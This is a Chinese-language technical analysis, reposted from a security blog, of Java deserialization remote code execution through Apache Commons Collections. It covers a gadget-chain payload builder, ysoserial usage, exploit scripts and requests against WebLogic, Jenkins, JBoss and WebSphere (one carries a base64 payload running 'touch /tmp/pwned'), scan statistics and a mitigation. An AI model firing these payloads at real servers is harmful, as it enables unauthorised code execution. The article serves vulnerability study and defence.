Java反序列化漏洞通用利用分析

原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/html

博主也是JAVA的,也研究安全,因此認爲這個漏洞很是嚴重。長亭科技分析的很是細緻。java

1 背景

2015年11月6日,FoxGlove Security安全團隊的@breenmachine 發佈的一篇博客[3]中介紹瞭如何利用Java反序列化漏洞,來攻擊最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些大名鼎鼎的Java應用,實現遠程代碼執行。python

然而事實上,博客做者並非漏洞發現者。博客中提到,早在2015年的1月28號,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上給出了一個報告[5],報告中介紹了Java反序列化漏洞能夠利用Apache Commons Collections這個經常使用的Java庫來實現任意代碼執行,當時並無引發太大的關注,可是在博主看來,這是2015年最被低估的漏洞。git

確實,Apache Commons Collections這樣的基礎庫很是多的Java應用都在用,一旦編程人員誤用了反序列化這一機制,使得用戶輸入能夠直接被反序列化,就能致使任意代碼執行,這是一個極其嚴重的問題,博客中提到的WebLogic等存在此問題的應用可能只是冰山一角。github

雖然從@gebl和@frohoff的報告到如今已通過去了將近一年,可是@breenmachine的博客中提到的廠商也依然沒有修復,並且國內的技術人員對這個問題的關注依然較少。爲了幫助你們更好的理解它,儘快避免和修復這些問題,本文對此作了一個深刻的漏洞原理和利用分析,最後對上面提到的這些受影響的應用,在全球範圍內作一個大概的統計。web

2 Java反序列化漏洞簡介

序列化就是把對象轉換成字節流,便於保存在內存、文件、數據庫中;反序列化即逆過程,由字節流還原成對象。Java中的ObjectOutputStream類的writeObject()方法能夠實現序列化,類ObjectInputStream類的readObject()方法用於反序列化。下面是將字符串對象先進行序列化,存儲到本地文件,而後再經過反序列化進行恢復的樣例代碼:數據庫

 1 public static void main(String args[]) throws Exception { 
 2     String obj = "hello world!";
 3 
 4     // 將序列化對象寫入文件object.db中
 5     FileOutputStream fos = new FileOutputStream("object.db");
 6     ObjectOutputStream os = new ObjectOutputStream(fos);
 7     os.writeObject(obj);
 8     os.close();
 9 
10     // 從文件object.db中讀取數據
11     FileInputStream fis = new FileInputStream("object.db");
12     ObjectInputStream ois = new ObjectInputStream(fis);
13 
14     // 經過反序列化恢復對象obj
15     String obj2 = (String)ois.readObject();
16     ois.close();
17 }

 

問題在於,若是Java應用對用戶輸入,即不可信數據作了反序列化處理,那麼攻擊者能夠經過構造惡意輸入,讓反序列化產生非預期的對象,非預期的對象在產生過程當中就有可能帶來任意代碼執行。apache

因此這個問題的根源在於類ObjectInputStream在反序列化時,沒有對生成的對象的類型作限制;倘若反序列化能夠設置Java類型的白名單,那麼問題的影響就小了不少。編程

反序列化問題由來已久,且並不是Java語言特有,在其餘語言例如PHP和Python中也有類似的問題。@gebl和@frohoff的報告中所指出的並非反序列化這個問題,而是一些公用庫,例如Apache Commons Collections中實現的一些類能夠被反序列化用來實現任意代碼執行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些應用的反序列化漏洞可以得以利用,就是依靠了Apache Commons Collections。這種庫的存在極大地提高了反序列化問題的嚴重程度,能夠比做在開啓了ASLR地址隨機化防護的系統中,出現了一個加載地址固定的共享庫,或者相似twitter上的評論中的比喻:安全

image

@breenmachine的博客中將漏洞歸咎於Apache Commons Collections這個庫,存在必定的誤解。

3 利用Apache Commons Collections實現遠程代碼執行

參考Matthias Kaiser在11月份的報告[1],咱們以Apache Commons Collections 3爲例,來解釋如何構造對象,可以讓程序在反序列化,即調用readObject()時,就能直接實現任意代碼執行。

Map類是存儲鍵值對的數據結構,Apache Commons Collections中實現了類TransformedMap,用來對Map進行某種變換,只要調用decorate()函數,傳入key和value的變換函數Transformer,便可從任意Map對象生成相應的TransformedMapdecorate()函數以下:

1 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
2     return new TransformedMap(map, keyTransformer, valueTransformer);
3 }

 

Transformer是一個接口,其中定義的transform()函數用來將一個對象轉換成另外一個對象。以下所示:

1 public interface Transformer {
2     public Object transform(Object input);
3 }

 

Map中的任意項的Key或者Value被修改,相應的Transformer就會被調用。除此之外,多個Transformer還能串起來,造成ChainedTransformer

Apache Commons Collections中已經實現了一些常見的Transformer,其中有一個能夠經過調用Java的反射機制來調用任意函數,叫作InvokerTransformer,代碼以下:

public class InvokerTransformer implements Transformer, Serializable {

...

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

 

只須要傳入方法名、參數類型和參數,便可調用任意函數。所以要想任意代碼執行,咱們能夠首先構造一個Map和一個可以執行代碼的ChainedTransformer,以今生成一個TransformedMap,而後想辦法去觸發Map中的MapEntry產生修改(例如setValue()函數),便可觸發咱們構造的Transformer。

測試代碼以下:

 1 public static void main(String[] args) throws Exception {
 2     Transformer[] transformers = new Transformer[] {
 3         new ConstantTransformer(Runtime.class),
 4         new InvokerTransformer("getMethod", new Class[] {
 5             String.class, Class[].class }, new Object[] {
 6             "getRuntime", new Class[0] }),
 7         new InvokerTransformer("invoke", new Class[] {
 8             Object.class, Object[].class }, new Object[] {
 9             null, new Object[0] }),
10         new InvokerTransformer("exec", new Class[] {
11             String.class }, new Object[] {"calc.exe"})};
12 
13     Transformer transformedChain = new ChainedTransformer(transformers);
14 
15     Map innerMap = new hashMap();
16     innerMap.put("value", "value");
17     map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
18 
19     Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
20     onlyElement.setValue("foobar");
21 
22 }

 

當上面的代碼運行到setValue()時,就會觸發ChainedTransformer中的一系列變換函數:首先經過ConstantTransformer得到Runtime類,進一步經過反射調用getMethod找到invoke函數,最後再運行命令calc.exe

可是目前的構造還須要依賴於觸發Map中某一項去調用setValue(),咱們須要想辦法經過readObject()直接觸發。

咱們觀察到java運行庫中有這樣一個類AnnotationInvocationHandler,這個類有一個成員變量memberValuesMap類型,以下所示:

1 class AnnotationInvocationHandler implements InvocationHandler, Serializable {
2     private final Class<? extends Annotation> type;
3     private final Map<String, Object> memberValues;
4 
5     AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
6         this.type = type;
7         this.memberValues = memberValues;
8     }
9     ...

 

更使人驚喜的是,AnnotationInvocationHandlerreadObject()函數中對memberValues的每一項調用了setValue()函數,以下所示:

 1 private void readObject(java.io.ObjectInputStream s)
 2     throws java.io.IOException, ClassNotFoundException {
 3     s.defaultReadObject();
 4 
 5 
 6     // Check to make sure that types have not evolved incompatibly
 7 
 8     AnnotationType annotationType = null;
 9     try {
10         annotationType = AnnotationType.getInstance(type);
11     } catch(IllegalArgumentException e) {
12         // Class is no longer an annotation type; all bets are off
13         return;
14     }
15 
16     Map<String, Class<?>> memberTypes = annotationType.memberTypes();
17 
18     for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
19         String name = memberValue.getKey();
20         Class<?> memberType = memberTypes.get(name);
21         if (memberType != null) {  // i.e. member still exists
22             Object value = memberValue.getValue();
23             if (!(memberType.isInstance(value) ||
24                   value instanceof ExceptionProxy)) {
25                 // 此處觸發一些列的Transformer
26                 memberValue.setValue(
27                     new AnnotationTypeMismatchExceptionProxy(
28                         value.getClass() + "[" + value + "]").setMember(
29                             annotationType.members().get(name)));
30             }
31         }
32     }
33 }

 

所以,咱們只須要使用前面構造的Map來構造AnnotationInvocationHandler,進行序列化,當觸發readObject()反序列化的時候,就能實現命令執行。另外須要注意的是,想要在調用未包含的package中的構造函數,咱們必須經過反射的方式,綜合生成任意代碼執行的payload的代碼以下:

 1 public static void main(String[] args) throws Exception {
 2     Transformer[] transformers = new Transformer[] {
 3         new ConstantTransformer(Runtime.class),
 4         new InvokerTransformer("getMethod", new Class[] {
 5             String.class, Class[].class }, new Object[] {
 6             "getRuntime", new Class[0] }),
 7         new InvokerTransformer("invoke", new Class[] {
 8             Object.class, Object[].class }, new Object[] {
 9             null, new Object[0] }),
10         new InvokerTransformer("exec", new Class[] {
11             String.class }, new Object[] {"calc.exe"})};
12 
13     Transformer transformedChain = new ChainedTransformer(transformers);
14 
15     Map innerMap = new hashMap();
16     innerMap.put("value", "value");
17     map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
18 
19     Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
20     Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
21     ctor.setAccessible(true);
22     Object instance = ctor.newInstance(Target.class, outerMap);
23 
24     File f = new File("payload.bin");
25     ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
26     out.writeObject(instance);
27     out.flush();
28     out.close();
29 
30 }

 

以上解釋瞭如何經過Apache Commons Collections 3這個庫中的代碼,來構造序列化對象,使得程序在反序列化時能夠當即實現任意代碼執行。

咱們能夠直接使用工具ysoserial[2][5]來生成payload,當中包含了4種通用的payload:Apache Commons Collections 3和4,Groovy,Spring,只要目標應用的Class Path中包含這些庫,ysoserial生成的payload便可讓readObject()實現任意命令執行。

ysoserial當中針對Apache Commons Collections 3的payload也是基於TransformedMapInvokerTransformer來構造的,而在觸發時,並無採用上文介紹的AnnotationInvocationHandler,而是使用了java.lang.reflect.Proxy中的相關代碼來實現觸發。此處再也不作深刻分析,有興趣的讀者能夠參考ysoserial的源碼。

4 漏洞利用實例

4.1 利用過程概述

首先拿到一個Java應用,須要找到一個接受外部輸入的序列化對象的接收點,即反序列化漏洞的觸發點。咱們能夠經過審計源碼中對反序列化函數的調用(例如readObject())來尋找,也能夠直接經過對應用交互流量進行抓包,查看流量中是否包含java序列化數據來判斷,java序列化數據的特徵爲以標記(ac ed 00 05)開頭。

肯定了反序列化輸入點後,再考察應用的Class Path中是否包含Apache Commons Collections庫(ysoserial所支持的其餘庫亦可),若是是,就可使用ysoserial來生成反序列化的payload,指定庫名和想要執行的命令便可:

java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out 

經過先前找到的傳入對象方式進行對象注入,數據中載入payload,觸發受影響應用中ObjectInputStream的反序列化操做,隨後經過反射調用Runtime.getRunTime.exec便可完成利用。

4.2 WebLogic

參照[3]中的方法,對安裝包文件grep受影響的類InvokerTransformer

root@f45f0209fa11:/opt/OracleHome# grep -R InvokerTransformer ./ Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches 

接着經過尋找接收外部輸入的點,來讓咱們發送序列化對象。

WebLogic外部只開了一個7001端口,這個端口接受HTTP,T3,SNMP協議,判斷協議類型後再把數據路由到內部正確的位置,經過在server上抓包,發現走T3協議時攜帶了java序列化對象,因此咱們只用把這個包文從序列化開始的標記(ac ed 00 05)後加入payload,重放這個數據,完成利用。

如下是breenmachine的完整利用腳本:

 1 #!/usr/bin/python
 2 import socket
 3 import sys
 4 
 5 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 6 
 7 server_address = (sys.argv[1], int(sys.argv[2]))
 8 print 'connecting to %s port %s' % server_address
 9 sock.connect(server_address)
10 
11 # Send headers
12 headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
13 print 'sending "%s"' % headers
14 sock.sendall(headers)
15 
16 data = sock.recv(1024)
17 print >>sys.stderr, 'received "%s"' % data
18 
19 payloadObj = open(sys.argv[3],'rb').read()
20 
21 payload=''
22 print 'sending payload...'
23 '''outf = open('payload.tmp','w')
24 outf.write(payload)
25 outf.close()'''
26 sock.send(payload)

 

在weblogic的利用中,有個小坑是不能破壞原始T3協議數據中包裝的java對象。

4.3 Jenkins

Jenkins是一個很是流行的CI工具,在不少企業的內網中都部署了這個系統,這個系統經常和企業的代碼相關聯,此次也受到了Java反序列化漏洞的影響,很是危險。

一樣,經過grep受影響的類InvokerTransformer

root@f45f0209fa11:/usr/share/jenkins# grep -R "InvokerTransformer" ./ Binary file ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar matches 

在開放的端口上抓包,定位到Jeenkins的CLI包文中的序列化開始標記(rO0)。 在發送CLI的第一個包文後:

00000000 00 14 50 72 6f 74 6f 63 6f 6c 3a 43 4c 49 2d 63 ..Protoc ol:CLI-c 00000010 6f 6e 6e 65 63 74 onnect 

在標記位的地方將base64處理過的payload修改覆蓋原始包文中的序列化對象,發包後,完成利用。這裏給出一個演示視頻:

如下是@breenmachine的完整利用腳本:

 1 #!/usr/bin/python
 2 
 3 #usage: ./jenkins.py host port /path/to/payload
 4 import socket
 5 import sys
 6 import requests
 7 import base64
 8 
 9 host = sys.argv[1]
10 port = sys.argv[2]
11 
12 #Query Jenkins over HTTP to find what port the CLI listener is on
13 r = requests.get('http://'+host+':'+port)
14 cli_port = int(r.headers['X-Jenkins-CLI-Port'])
15 
16 #Open a socket to the CLI port
17 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
18 server_address = (host, cli_port)
19 print 'connecting to %s port %s' % server_address
20 sock.connect(server_address)
21 
22 # Send headers
23 headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'
24 print 'sending "%s"' % headers
25 sock.send(headers)
26 
27 data = sock.recv(1024)
28 print >>sys.stderr, 'received "%s"' % data
29 
30 data = sock.recv(1024)
31 print >>sys.stderr, 'received "%s"' % data
32 
33 payloadObj = open(sys.argv[3],'rb').read()
34 payload_b64 = base64.b64encode(payloadObj)
35 payload=''
36 
37 print 'sending payload...'
38 '''outf = open('payload.tmp','w')
39 outf.write(payload)
40 outf.close()'''
41 sock.send(payload)

 

4.4 Jboss

Jboss受影響的狀況就比以前Jenkins遜色很多,正如以前所說,要成功利用必需要找到程序接受外部輸入的點,而此處的利用須要/invoker/jmx的支持,大部分狀況下的實際場景,jboss都刪除了jmx,因此讓此處的利用大打折扣。

分析流程和以前同樣,只不過此處接受的點在jmx上,因此經過的協議也和前兩個不一樣,是HTTP協議,再也不贅述,詳細的jboss分析能夠參看Exploit – JBoss

利用以下:

curl --header 'Content-Type: application/x-java-serialized-object; class="org".jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload.out' http://172.17.0.2:8080/invoker/JMXInvokerServlet 

也能夠看breenmachine給出的http請求報文:

POST /invoker/JMXInvokerServlet HTTP/1.1 Host: 172.17.0.2:8080 Content-Type:application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue Content-Length: 1434 payload 

image

4.5 WebSphere

WebSphere的利用相比較以前幾個case就很是粗暴簡單了,惋惜的是不多會暴露在公網。

找到受影響的lib的位置。

root@f45f0209fa11:/opt/server/IBM# find . -iname "*commons*collection*" ./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.1/commons-collections.jar ./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.2.4/commons-collections.jar ./WebSphere/AppServer/plugins/com.ibm.ws.prereq.commons-collections.jar ./WebSphere/AppServer/systemApps/LongRunningScheduler.ear/JobManagementWeb.war/WEB-INF/lib/commons-collections.jar ./WebSphere/AppServer/systemApps/isclite.ear/commons-collections.jar ./WebSphere/AppServer/deploytool/itp/plugins/com.ibm.websphere.v85_2.0.0.v20120621_2102/wasJars/com.ibm.ws.prereq.commons-collections.jar 

查看端口開放狀況後發現WebSphere默認起了10個端口監聽全部接口,經過burp suite看到在請求websphere默認端口8880上有一個POST的請求,body中帶有base64處理後的java序列化對象,一樣的,標記位置仍然是"rO0",咱們將生成的payload作base64處理後覆蓋以前的序列化對象便可利用。

image

POST / HTTP/1.0 Host: 127.0.0.1:8880 Content-Type: text/xml; charset=utf-8 Content-Length: 2646 SOAPAction: "urn:AdminService" <?xml version='1.0' encoding='UTF-8'?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0"> <LoginMethod>BasicAuth</LoginMethod> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEHRvdWNoIC90bXAvcHduZWR0AARleGVjdXEAfgAeAAAAAXEAfgAjc3EAfgARc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AOg==</objectname> <attribute xsi:type="xsd:string">ringBufferSize</attribute> </ns1:getAttribute> </SOAP-ENV:Body> </SOAP-ENV:Envelope> 

4.6 其它

由於這個安全問題的根源在於ObjectInputStream處理反序列化時接受外部輸入,而又因爲其餘相似InvokerTransformer的類的構造函數被調用,從而形成執行,而InvokerTransformer方便的提供了根據外部輸入類名函數名反射執行的做用,因此形成整個程序RCE。

因此該問題並非像其餘一些語言unserialize函數自己存在漏洞,而是在應用自己實現的方式上存在缺陷,致使應用受到RCE的影響,開個腦洞引伸一下,能夠很明瞭的發現,遠遠不止breenmachine所指出的這幾個流行web server,更可能影響更多使用了commons-collections,而且觸發ObjectInputStream反序列化操做的應用,如一些java開發的CMS,中間件等等,甚至不只僅是PC端,移動端如Android的不少app均可能受到該問題影響。

5 漏洞影響

經過簡單的全網分析和POC驗證。

Jenkins收到該漏洞影響較大,在自測中,全球暴露在公網的11059臺均受到該問題影響,zoomeye的公開數據中再測試後有12493受到該漏洞影響,shadon的公開數據中16368臺jenkins暴露公網可能受到影響(未複測shadon數據)。

Weblogic由於公開到公網的數據較少,因此受影響面也稍微少一些,在自測中,全球486臺均受到該問題影響,zoomeye的公開數據中再測試後有201臺收到該漏洞影響,shadon的公開數據中806 臺weblogic可能受到影響(未複測shadon數據)。

Jboss由於須要/invoker/JMXInvokerServlet的支持,因此受影響面稍小(但咱們並未具體檢測jboss中沒有刪除/invoker/JMXInvokerServlet的數據),在自測中,全球29194臺jboss暴露在公網,但因爲大部分jboss都刪除了jmx,因此真正受到影響的覆蓋面並不廣,zoomeye的公開數據中有7770臺jboss暴露在公網,shadon的公開數據中46317臺jboss暴露在公網。

WebSphere在自測中,全球暴露在公網的2076臺均受到該問題影響,zoomeye的公開數據中再測試後仍有4511臺websphere受到影響,shadon的公開數據中5537 臺websphere可能受到影響(未複測shadon數據)。

image

在本次全網分析中,感謝ztz@nsfocus的seer提供的部分數據

6 修復建議

由於受影響的多家廠商在今年1月拿到POC至今都沒有對該問題作任何修復,因此短時間內並不會有官方補丁放出,若是很重視這個安全問題而且想要有一個臨時的解決方案能夠參考NibbleSecurity公司的ikkisoft在github上放出了一個臨時補丁SerialKiller

下載這個jar後放置於classpath,將應用代碼中的java.io.ObjectInputStream替換爲SerialKiller,以後配置讓其可以容許或禁用一些存在問題的類,SerialKiller有Hot-Reload,Whitelisting,Blacklisting幾個特性,控制了外部輸入反序列化後的可信類型。

lib地址:https://github.com/ikkisoft/SerialKiller

7 參考資料

  1. Matthias Kaiser - Exploiting Deserialization Vulnerabilities in Java.

  2. https://github.com/frohoff/ysoserial

  3. foxglovesecurity analysis

  4. github JavaUnserializeExploits

  5. appseccali-2015-marshalling-pickles

相關文章
相關標籤/搜索